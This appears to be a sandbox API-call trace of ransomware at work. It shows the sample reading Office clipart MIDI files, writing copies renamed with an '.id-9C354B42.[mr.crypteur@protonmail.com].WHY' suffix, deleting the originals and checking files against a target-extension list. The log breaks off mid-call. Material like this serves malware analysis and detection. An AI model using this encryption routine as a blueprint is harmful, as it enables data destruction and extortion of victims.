[0246.208] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0246.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0246.208] lstrlenW (lpString=".1cd") returned 4 [0246.208] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0246.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0246.496] lstrlenW (lpString=".jpg") returned 4 [0246.496] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0246.497] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0246.497] lstrlenW (lpString="SPACE_01.MID") returned 12 [0246.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0246.999] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=4219) returned 1 [0246.999] CloseHandle (hObject=0x398) returned 1 [0246.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 0x20 [0247.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0247.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0247.041] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.041] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0247.042] GetLastError () returned 0x0 [0247.042] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x107b, lpOverlapped=0x0) returned 1 [0247.087] WriteFile (in: hFile=0x39c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x1080, lpOverlapped=0x0) returned 1 [0247.090] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.090] WriteFile (in: hFile=0x39c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.090] SetEndOfFile (hFile=0x39c) returned 1 [0247.422] CloseHandle (hObject=0x39c) returned 1 [0247.522] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.522] SetEndOfFile (hFile=0x3a8) returned 1 [0247.583] CloseHandle (hObject=0x3a8) returned 1 [0247.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0247.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 1 [0247.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0247.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0247.787] lstrlenW (lpString=".doc") returned 4 [0247.787] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.787] lstrlenW (lpString=".docx") returned 5 [0247.787] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.787] lstrlenW (lpString=".pdf") returned 4 [0247.787] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.788] lstrlenW (lpString=".xls") returned 4 [0247.788] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.788] lstrlenW (lpString=".xlsx") returned 5 [0247.788] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.788] lstrlenW (lpString=".ppt") returned 4 [0247.788] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0247.788] lstrlenW (lpString=".zip") returned 4 [0247.788] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.788] lstrlenW (lpString=".rar") returned 4 [0247.789] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.789] lstrlenW (lpString=".bz2") returned 4 [0247.789] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.789] lstrlenW (lpString=".7z") returned 3 [0247.789] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0247.789] lstrlenW (lpString=".dbf") returned 4 [0247.789] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0247.789] lstrlenW (lpString=".1cd") returned 4 [0247.789] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0247.789] lstrlenW (lpString=".jpg") returned 4 [0247.789] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0247.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0247.790] lstrlenW (lpString=".doc") returned 4 [0247.790] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.791] lstrlenW (lpString=".docx") returned 5 [0247.791] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.791] lstrlenW (lpString=".pdf") returned 4 [0247.791] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.791] lstrlenW (lpString=".xls") returned 4 [0247.791] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.791] lstrlenW (lpString=".xlsx") returned 5 [0247.791] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.791] lstrlenW (lpString=".ppt") returned 4 [0247.791] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0247.791] lstrlenW (lpString=".zip") returned 4 [0247.791] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.791] lstrlenW (lpString=".rar") returned 4 [0247.791] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.792] lstrlenW (lpString=".bz2") returned 4 [0247.792] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.792] lstrlenW (lpString=".7z") returned 3 [0247.792] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0247.792] lstrlenW (lpString=".dbf") returned 4 [0247.792] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0247.792] lstrlenW (lpString=".1cd") returned 4 [0247.792] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0247.792] lstrlenW (lpString=".jpg") returned 4 [0247.793] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.793] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0247.793] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0247.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0247.794] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=6700) returned 1 [0247.794] CloseHandle (hObject=0x394) returned 1 [0247.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 0x20 [0247.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0247.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0247.796] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.796] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0247.797] GetLastError () returned 0x0 [0247.797] ReadFile (in: hFile=0x394, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x1a2c, lpOverlapped=0x0) returned 1 [0247.840] WriteFile (in: hFile=0x39c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x1a30, lpOverlapped=0x0) returned 1 [0247.843] ReadFile (in: hFile=0x394, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.843] WriteFile (in: hFile=0x39c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.844] SetEndOfFile (hFile=0x39c) returned 1 [0247.891] CloseHandle (hObject=0x39c) returned 1 [0247.913] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.913] SetEndOfFile (hFile=0x394) returned 1 [0247.935] CloseHandle (hObject=0x394) returned 1 [0247.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0248.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0248.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0248.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0248.077] lstrlenW (lpString=".doc") returned 4 [0248.077] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.077] lstrlenW (lpString=".docx") returned 5 [0248.077] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.077] lstrlenW (lpString=".pdf") returned 4 [0248.078] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.078] lstrlenW (lpString=".xls") returned 4 [0248.078] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.078] lstrlenW (lpString=".xlsx") returned 5 [0248.078] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.078] lstrlenW (lpString=".ppt") returned 4 [0248.078] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0248.078] lstrlenW (lpString=".zip") returned 4 [0248.078] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.078] lstrlenW (lpString=".rar") returned 4 [0248.078] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.078] lstrlenW (lpString=".bz2") returned 4 [0248.079] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.079] lstrlenW (lpString=".7z") returned 3 [0248.079] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0248.079] lstrlenW (lpString=".dbf") returned 4 [0248.079] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0248.079] lstrlenW (lpString=".1cd") returned 4 [0248.079] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0248.079] lstrlenW (lpString=".jpg") returned 4 [0248.079] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0248.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0248.080] lstrlenW (lpString=".doc") returned 4 [0248.080] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.080] lstrlenW (lpString=".docx") returned 5 [0248.080] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.080] lstrlenW (lpString=".pdf") returned 4 [0248.080] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.080] lstrlenW (lpString=".xls") returned 4 [0248.080] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.080] lstrlenW (lpString=".xlsx") returned 5 [0248.080] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.080] lstrlenW (lpString=".ppt") returned 4 [0248.082] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0248.082] lstrlenW (lpString=".zip") returned 4 [0248.082] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.082] lstrlenW (lpString=".rar") returned 4 [0248.082] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.082] lstrlenW (lpString=".bz2") returned 4 [0248.082] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.082] lstrlenW (lpString=".7z") returned 3 [0248.082] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0248.082] lstrlenW (lpString=".dbf") returned 4 [0248.083] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0248.083] lstrlenW (lpString=".1cd") returned 4 [0248.083] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0248.083] lstrlenW (lpString=".jpg") returned 4 [0248.083] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.083] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0248.083] lstrlenW (lpString="SUMER_01.MID") returned 12 [0248.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0248.084] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=14044) returned 1 [0248.085] CloseHandle (hObject=0x3a4) returned 1 [0248.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 0x20 [0248.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0248.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.188] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.188] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.265] GetLastError () returned 0x0 [0248.265] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x36dc, lpOverlapped=0x0) returned 1 [0248.275] WriteFile (in: hFile=0x3b4, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x36e0, lpOverlapped=0x0) returned 1 [0248.278] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.279] WriteFile (in: hFile=0x3b4, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.279] SetEndOfFile (hFile=0x3b4) returned 1 [0248.279] CloseHandle (hObject=0x3b4) returned 1 [0248.282] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.282] SetEndOfFile (hFile=0x3ac) returned 1 [0248.291] CloseHandle (hObject=0x3ac) returned 1 [0248.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0248.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0250.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0250.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0250.163] lstrlenW (lpString=".doc") returned 4 [0250.163] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0250.163] lstrlenW (lpString=".docx") returned 5 [0250.163] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0250.163] lstrlenW (lpString=".pdf") returned 4 [0250.163] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0250.164] lstrlenW (lpString=".xls") returned 4 [0250.164] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0250.164] lstrlenW (lpString=".xlsx") returned 5 [0250.164] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0250.164] lstrlenW (lpString=".ppt") returned 4 [0250.164] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0250.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0250.164] lstrlenW (lpString=".zip") returned 4 [0250.164] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0250.164] lstrlenW (lpString=".rar") returned 4 [0250.164] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0250.164] lstrlenW (lpString=".bz2") returned 4 [0250.164] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0250.164] lstrlenW (lpString=".7z") returned 3 [0250.165] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0250.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0250.165] lstrlenW (lpString=".dbf") returned 4 [0250.165] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0250.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0250.165] lstrlenW (lpString=".1cd") returned 4 [0250.165] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0250.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0250.165] lstrlenW (lpString=".jpg") returned 4 [0250.165] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0250.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0250.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0250.166] lstrlenW (lpString=".doc") returned 4 [0250.166] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0250.166] lstrlenW (lpString=".docx") returned 5 [0250.166] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0250.166] lstrlenW (lpString=".pdf") returned 4 [0250.166] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0250.166] lstrlenW (lpString=".xls") returned 4 [0250.166] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0250.166] lstrlenW (lpString=".xlsx") returned 5 [0250.166] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0250.166] lstrlenW (lpString=".ppt") returned 4 [0250.166] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0250.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0250.167] lstrlenW (lpString=".zip") returned 4 [0250.167] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0250.167] lstrlenW (lpString=".rar") returned 4 [0250.167] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0250.167] lstrlenW (lpString=".bz2") returned 4 [0250.167] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0250.167] lstrlenW (lpString=".7z") returned 3 [0250.167] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0250.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0250.167] lstrlenW (lpString=".dbf") returned 4 [0250.167] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0250.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0250.167] lstrlenW (lpString=".1cd") returned 4 [0250.167] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0250.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0250.168] lstrlenW (lpString=".jpg") returned 4 [0250.168] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0250.168] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0250.169] lstrlenW (lpString="WNTER_01.MID") returned 12 [0250.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), 